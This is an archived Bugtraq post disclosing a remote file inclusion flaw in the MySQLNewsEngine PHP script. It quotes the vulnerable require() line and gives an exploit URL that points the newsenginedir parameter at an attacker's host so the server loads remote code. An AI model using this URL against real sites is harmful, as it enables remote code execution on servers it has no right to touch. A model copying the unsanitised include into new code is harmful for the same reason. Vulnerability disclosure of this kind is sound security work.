Bugtraq mailing list archives

MySQLNewsEngine (affichearticles.php3) Remote File Inc. Vuln.


From: gokhankaya () hotmail com
Date: 6 Feb 2007 20:17:36 -0000

# Title         : MySQLNewsEngine (affichearticles.php3) Remote File Inc. Vuln.
# Author        : Blaster, CanberX
# Contact       : msn () bl4ster net | gokhankaya () hotmail com
# Download      : http://www.comscripts.com/jump.php?action=script&id=625
#
#
# Vuln code     : affichearticles.php3
#
# $sigfile = $newsenginedir . "include/signature.inc";
#
# require("$sigfile");
# http://[site]/[path]/affichearticles.php3?newsenginedir=[attacker]
#
#
# GreetZ: BLaCKWHITE, LGMAN, HackerBox.Eu, 
# HackerBox Group Turkey !


Current thread: